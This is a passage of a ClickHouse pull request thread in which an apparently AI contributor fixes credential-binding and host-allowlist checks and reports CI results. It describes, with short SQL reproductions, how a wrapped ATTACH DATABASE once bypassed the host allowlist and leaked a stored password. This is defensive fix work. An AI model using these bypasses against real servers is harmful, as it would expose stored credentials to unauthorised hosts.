arms to read, a failing statement's message is kept out of the asserted output:
clickhouse-test fails any test whose stdout holds the word Exception.

With an ASAN client, wall clock goes from 34.0s to 17.4s and time inside the
client from 30.8s to 14.1s. Through the real runner with randomization on, 12 runs
each, the head version has a median of 12.91s and this one 7.65s, both 12/12
passing; scaling the worst CI run by that ratio gives about 103s. Detection is
unchanged: reverting the replay-exemption fix this pull request adds makes the
head version and this one produce byte-identical failures, exactly the two
reference lines for the PARALLEL WITH arm.

Co-Authored-By: Claude Opus 5 <[email protected]>
@groeneai

Copy link
Copy Markdown
Collaborator Author

Flaky-check residual on amd_asan_ubsan fixed, and one decision for you

f6d114cb6b3820748712459b63b9bd4674baa1df (was 40baa85), one test file, +199/-111.

CI at 40baa85 finished with a single red check, Stateless tests (amd_asan_ubsan, flaky check): 6 of
7 runs of 04627_named_collection_s3_destination_binding at 180.5-201.3s against the 180s ceiling.
That is PR-caused, so it is fixed here.

The leg's own query_log shows two costs. Process startup: the test started 63 processes per run,
52 of them its own client invocations. The assertion arms now run as one multi-statement invocation
delimited by a marker, with --ignore-error so a failing statement reports inline, and each arm's
classifier reads only its own slice. That is 28 starts. One arm: the role_arn case against
127.0.0.1:11112 was the slowest statement in all 9 runs the log holds, from 1.60s to 16.07s, 20.4%
of server-side time and the largest source of run-to-run variance. Nothing serves that object and
s3_retry_attempts defaults to 500, so it now carries the same cap the two sibling arms already use.

Capping it exposed that its oracle could not fail: it needled role, and the client echoes the failing
statement, so role_arn = ... always matched. It now needles S3_ERROR, which is what the log records
for that arm in 9 of 9 runs.

With an ASAN client, wall clock goes from 34.0s to 17.4s. Through the runner with randomization on, 12
runs each, the previous version has a median of 12.91s and this one 7.65s, both 12/12 passing; scaling
the worst CI run by that ratio gives about 103s. Detection is unchanged: reverting the
replay-exemption fix this PR adds makes both versions produce byte-identical failures, exactly the two
reference lines for the PARALLEL WITH arm.

The decision. hasCollectionDerivedSecret counts a stored external_id even when no role_arn is
present anywhere, so a value no STS request can consume binds the destination. Measured, with two arms
differing only in that one key:

CREATE NAMED COLLECTION a AS url = 'http://localhost:11111/test/',
    access_key_id = 'test', secret_access_key = 'testtest', format = 'CSV';
CREATE NAMED COLLECTION b AS url = 'http://localhost:11111/test/',
    access_key_id = 'test', secret_access_key = 'testtest', external_id = 'xid', format = 'CSV';
-- same query against each, whole key pair supplied by the query:
--   a -> S3_ERROR                        (allowed through)
--   b -> Override not allowed for 'url'  (refused)

Collection a is the shape the test asserts must keep working. The direction is over-refusal, never a
leak, so nothing is weaker. I have not changed it: whether a fail-closed check should count a value
that authenticates nothing is your call, and Configuration.cpp:212-214 shows the inertness question
was already weighed for the gcp_oauth legs. The same applies to service_account,
request_token_path and metadata_service under gcp_oauth when a complete query ADC triple wins.

Session id: cron:clickhouse-maint-slot-12:20260826-052300

hasCollectionDerivedSecret counted every non-empty stored auth field, including two
that the mechanism which will actually authenticate the request never reads:

  - external_id is handed only to the STS assume-role wrapper, and
    S3::getCredentialsProvider builds that wrapper only for a non-empty role_arn
    (src/IO/S3/Credentials.cpp:1467-1480). With no role to assume, a stored
    external_id reaches nothing.
  - under gcp_oauth, PocoHTTPClientGCPOAuth::requestBearerToken returns from
    requestBearerTokenFromADC as soon as the ADC triple is complete, without reading
    service_account / metadata_service / request_token_path
    (src/IO/S3/PocoHTTPClient.cpp:878-885).

So a query that replaced the whole credential was still refused cross-origin on the
strength of a value nothing sends, which contradicts the compatibility contract that
supplying your own credentials releases the binding. The function already models the
mechanism in two places (the no_sign_request short-circuit and the gcp_oauth branch);
this completes it for the two conditionally-consumed groups.

Every refusal the check made for a field the winning mechanism does read is unchanged:
each group is now conjoined with the same condition its consumer gates on, so a
surviving role_arn still binds a stored external_id, and an incomplete ADC triple still
binds the stored metadata-service fields.

Four arms in 04627 pin both directions. Against the pre-fix binary the two release arms
report NOT-READ and refused; with the fix they report payload and allowed. Deleting both
guarded groups flips exactly the two control arms to allowed and nothing else, so
neither control is vacuous.
Comment thread src/Databases/DatabaseS3.cpp Resolved
… grandfathered

`validateS3CollectionDestinationBinding` lets a definition read back from stored metadata keep
a credential the collection does not authorise for that destination, because refusing one
would stop the server from starting. What that grandfathers is the single destination the
stored statement names.

`DatabaseS3` has no such destination when the collection declares no url: `getFullUrl` returns
the queried table name verbatim, so every lookup picks its own. A database created before this
rule from a credentials-only collection therefore went on sending those credentials wherever a
later query pointed. Measured on the previous head: after the stored definition replays, a
SigV4 request signed with the collection's access key reaches a listener on another origin. The
fresh `CREATE DATABASE` of that shape is already refused, so the exemption was the way back in.

The validator now reports whether it granted the exemption, and the database engine loads
anonymously in that case - which is what `s3_load_table_anonymously_if_credentials_restricted`
grants everywhere else, `S3::getCredentialsProvider` installing an anonymous provider on the
same setting. The server still starts and the definition still loads; only the credential is
dropped. A database whose stored statement does pin a url prefix keeps its credentials: the
origin is fixed there, and four escape attempts through the table name never leave it.

Reported by clickhouse-gh[bot] on the pull request.
Comment thread src/Databases/DatabaseS3.cpp Resolved
@groeneai

Copy link
Copy Markdown
Collaborator Author

CI finish ledger - 9dd6a67

Every failure below has an owner: a fixing PR (ours or external), or a full-effort fix task
whose fixing-PR link will be posted here when it opens. Only CH Inc sync is exempt.

Check / test Reason Owner / fixing PR
Compatibility check (amd_release) infra: the job was cancelled at queue time and executed zero commands. conclusion: cancelled, runner_name: null, steps: [], and praktika records status: ERROR with start_time: null and ext.errors[0].message = "Job failed to produce Result due to a script error or CI runner issue". Attempt 1 had two such jobs queued at 15:49:18Z and cancelled about 3 minutes later without a runner; the sibling Stateless tests (amd_msan, WasmEdge, parallel, 3/3) recovered on attempt 2, this one did not. It published zero rows to CIDB, so the coverage did not happen. a fix task is created (investigating at full effort, fixing PR link to follow on this PR)
Sync - CH Inc sync (private, not actionable by me)

Not PR-caused: the job ran zero steps, so this change cannot have reached it. The run is also not
a void run, Config Workflow is green and there are no dropped leaves (158 OK, 16 skipped, 0
dropped), so 174 of 175 jobs really ran.

Note for anyone with the rights: because a cancelled job makes the whole run cancelled, this red
is not reachable by the hourly infra-retry workflow (it selects --status failure and
.attempt == 1, and its job classifier filters select(.conclusion == "failure")), and
POST actions/jobs/98273002757/rerun returns 403 Must have admin rights to Repository for me. A
single job re-run would clear it; otherwise it clears on the next push.

Session id: cron:our-pr-ci-monitor:20260826-203000

@groeneai

Copy link
Copy Markdown
Collaborator Author

Fixing PR for the Compatibility check (amd_release) line in the CI finish ledger above: #116648.

It fixes the scoring only. GitHub reports an undocumented needs.<job>.result value,
abandoned, for a job it queued and never assigned a runner; praktika matched only
cancelled/canceled, so the job was scored ERROR with Job failed to produce Result due to a script error or CI runner issue even though it ran zero commands, and Mergeable Check then named
it under Failed:. With the fix the same run reads Failed: 0, Dropped: 1.

It does not make the job run and deliberately does not unblock the merge: a dropped check still
maps to a GitHub error status and still holds Mergeable Check at failure. The abandonment
itself is GitHub-side, and job retry lives in the out-of-repo Lambda.

Two files conflicted, both in the AST JSON boundary, and both are resolved to
master's side because master's check strictly subsumes this branch's.

master rejects the presence of the `attach_short_syntax` key
(`if (r.has("attach_short_syntax"))`) and no longer writes the field in
`writeJSON` at all, while this branch rejected only the value `true`. Every
payload this branch refused is refused by master, so keeping this side would
have replaced a stronger check with a weaker one. `04494`'s injection anchor
moved with it: master keys on the neighbouring `"replace_table":false`, because
the field it used to replace is no longer emitted. The `.reference` row and the
`ATTACH TABLE t` round trip added here belong to that same superseded arm and
are dropped with it, so this branch no longer touches the AST JSON boundary.

The credential-binding carriers are untouched by master and remain the whole
change: `hasEffectiveCredentials`, `hasCollectionDerivedSecret` and the
`loading_stored_metadata` argument are absent from master.
`writeJSON` no longer emits `attach_short_syntax`, so replacing its
`false` value left the payload without the field and the arm asserted
nothing. Insert it before `replace_table`, the key that follows it, and
match the refusal that the boundary now reports.
`hasCollectionDerivedSecret` counted a stored `access_key_id`, `secret_access_key` or
`session_token` on its own as a credential the destination has to authorise. SigV4 needs
both halves of the pair, and the session token is read only alongside them, so a lone half
authenticates nothing: measured against a capture listener, an `access_key_id`-only,
`secret_access_key`-only and `session_token`-only collection each issue the request
anonymously and none of the three values appears on the wire, while a complete pair puts
its key id in the `Authorization` header.

Such a collection was therefore refused a `url` override that leaked nothing, which is a
refusal this fix should not add. Gate the three static components on a complete effective
pair; `role_arn` keeps its own leg, since the STS wrapper reads it without them.

A query that completes the pair still binds, because the pair is read after the override
and one half is still the collection's: the existing partial-replacement case covers that
and stays refused.
Comment thread src/Databases/DatabaseFactory.h Resolved
`args.internal` is true for any statement the server runs on its own behalf,
including a user's own statement wrapped in `PARALLEL WITH`
(`InterpreterParallelWithQuery::executeSubquery` passes `QueryFlags{.internal = true}`).
A user `ATTACH DATABASE` supplies mode `ATTACH`, so the three external database creators
that exempted `args.internal && args.mode >= ATTACH` from their validation treated a
wrapped user statement as a metadata replay.

For both PostgreSQL engines that exemption skips `remote_url_allow_hosts`. Measured on a
server whitelisting one host: a bare
`ATTACH DATABASE d ENGINE = PostgreSQL('<blocked>:5432', ...)` is rejected with
`UNACCEPTABLE_URL`, while the same statement followed by
`PARALLEL WITH CREATE DATABASE sink ENGINE = Memory` was accepted. With the host taken
from the query and the credentials from a named collection, the collection's stored
password arrived at the blocked host in cleartext. The same statement as `CREATE DATABASE`
stays rejected, which isolates the `mode >= ATTACH` leg rather than `PARALLEL WITH`
disabling checks generally.

`loading_stored_metadata` is set only by `loadMetadata.cpp`, the startup metadata loader,
so it marks exactly the case these exemptions exist for. `RESTORE DATABASE` is unaffected:
it creates databases at mode `CREATE` and so never took the exemption (measured: restoring
a database whose host left the whitelist is rejected both before and after this change).

Verified both directions with asserted Build-IDs (base cbfdf202, fix 1496e82f): the three
wrapped arms flip from accepted to `UNACCEPTABLE_URL` with no password reaching the
listener, the bare arms and a whitelisted host are unchanged, and the stored
blocked-host databases still load across a restart.

Also correct one sentence in `hasCollectionDerivedSecret`: it grouped
`use_environment_credentials` with keys that `optional_configuration_keys` does not accept,
when that key is accepted and excluded for a different reason.

Reported by the automated reviewer on ClickHouse#116260.

Co-Authored-By: Claude Opus 5 <[email protected]>
/// replay of the stored definition as a metadata load so a now-restricted catalog is left unavailable
/// instead of aborting startup; a user `ATTACH DATABASE` stays fail-closed and is rejected.
const bool is_loading_from_existing_metadata
= args.loading_stored_metadata && args.mode >= LoadingStrictnessLevel::ATTACH;

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is_loading_from_existing_metadata is narrowed correctly here, but the fresh-query path still is not fail-closed for DataLakeCatalog: lazy_init below stays true for every ATTACH DATABASE and every PARALLEL WITH child (args.create_query.attach || args.internal), and the constructor only calls initializeOrLeaveUnavailable() when lazy_init is false (src/Databases/DataLake/DatabaseDataLake.cpp:191-198).

That means ATTACH DATABASE ... ENGINE = DataLakeCatalog(...) can persist a blocked or unauthorized catalog definition without ever running the host-filter / credential validation on attach; the error is only deferred until first use. If the intent is that user ATTACH DATABASE remains a fresh definition and gets rejected, this needs an explicit replay / restore signal instead of attach || internal.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Measured this one: it is the DataLakeCatalog site I flagged as unmeasured in the round above.

Both citations hold at 4cd1dcc4, and neither line is mine. lazy_init is byte-identical on master, where || args.internal comes from #109724 ("lazy init for internal create"), reason in the two comment lines above it.

What I disagree with is that this leaves the host filter or the credential check unrun. Both are on the request path, not on attach: createReadBuffer passes withHostFilter(&getRemoteHostFilter()), and the OAuth token, refresh token and metadata paths call checkHostAndPort directly. Deferring construction moves the error, it does not drop a guard.

Server with one whitelisted host; a REST catalog listener on a second, blocked port logging accepted connections and request bodies; catalog_credential carrying a secret:

arm result requests to the blocked host
CREATE DATABASE ... DataLakeCatalog('http://blocked/v1') Code: 491 0
ATTACH DATABASE, same engine accepted, persisted, survives a restart 0
first use of it, before and after a restart Code: 491 0
CREATE ... PARALLEL WITH CREATE DATABASE sink ENGINE = Memory accepted 0
first use of that one Code: 491 0

Zero accepted connections as well, in every arm. The same listener on the whitelisted port took 4 connections and 4 requests carrying the secret in cleartext, so it can see both. The deferral is observed rather than assumed: against the allowed host the unwrapped CREATE issues its catalog requests at DDL time, the identical statement inside PARALLEL WITH issues none then and all of them at first use.

I built the remedy in both readings before declining it.

Dropping only the internal term: RESTORE DATABASE of a lake database whose catalog is unreachable goes from RESTORED to Code: 1000 Connection refused, nothing restored; with the catalog reachable it restores and does the catalog I/O itself, so that path is now eager. Restore takes the exemption through internal and not through attach, which is measurable: the gate !args.create_query.attach && !allow_experimental_database_iceberg fires on the restore path.

Replay signal alone, which is what the last paragraph asks for: it does deliver the rejection, ATTACH of a blocked catalog is Code: 491 and nothing persists. It also makes DETACH DATABASE followed by ATTACH DATABASE of a working database fail with Connection refused while its catalog is briefly down, leaving it detached until the catalog comes back. Startup replay stays lazy under both, so neither breaks startup.

A correct version therefore needs a restore signal beside the replay one, and it trades DDL-time catalog reachability for an earlier error message without changing what a blocked host receives. That is a behaviour decision for the engine owners, so I am leaving lazy_init as it is.

@groeneai

Copy link
Copy Markdown
Collaborator Author

CI finish ledger - 4cd1dcc459a847a2624d850ee90b7f52062779eb

CI is fully finished on this head (single workflow run 33095930708; Config Workflow, Fast test,
Fast test (arm_darwin), Style check, all five Bugfix validation jobs, Finish Workflow and
Mergeable Check all green; 160 pass / 15 skipped). One failure, and it has an owner.

Check / test Reason Owner / fixing PR
Stress test (amd_debug) / Logical error: 'Inconsistent AST formatting' (STID 1941-26fa) trunk parser/formatter defect surfaced by the server-side AST fuzzer, not this PR #116645 (mine, open)
CH Inc sync still running CH Inc sync (private, not actionable by me)

Not caused by this PR. The failing statement is

CREATE TABLE test_7.test_cluster__fuzz_4 (`json` JSON(max_dynamic_paths = 8768), `d` UInt64)
AS cluster('test_cluster_one_shard_three_replicas_localhost', 'test_7', 'test')
PRIMARY KEY tuple(d)

which the formatter re-emits with the table-level PRIMARY KEY tuple(d) collapsed into an inline
column attribute (`d` UInt64 PRIMARY KEY) and the trailing clause dropped, so the query does not
round-trip. That is the PRIMARY KEY tuple() hoist defect: ParserCreateQuery.cpp normalizes a
column-list primary key into a synthesized ASTStorage without checking as_table_function, so
ASTCreateQuery::formatImpl prints the storage after AS <table function> where the grammar has no
production for it. Breadth over 30 days is 104 rows across 74 distinct PRs plus 3 true-master rows,
so it is never PR-caused, and this PR touches 21 files, none of them a parser, AST or formatter file.
#116645 fixes it by rejecting the combination at parse time.

Session id: cron:our-pr-ci-monitor:20260827-230000

@clickhouse-gh clickhouse-gh Bot added the comp-object-storage Object storage connectivity (S3/GCS/Azure) including credentials, retries, multipart, etc. label Sep 4, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

can be tested Allows running workflows for external contributors comp-object-storage Object storage connectivity (S3/GCS/Azure) including credentials, retries, multipart, etc. groeneai-origin-oranjeai PR origin: delegated from the OranjeAI sibling fleet pr-bugfix Pull request with bugfix, not backported by default

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants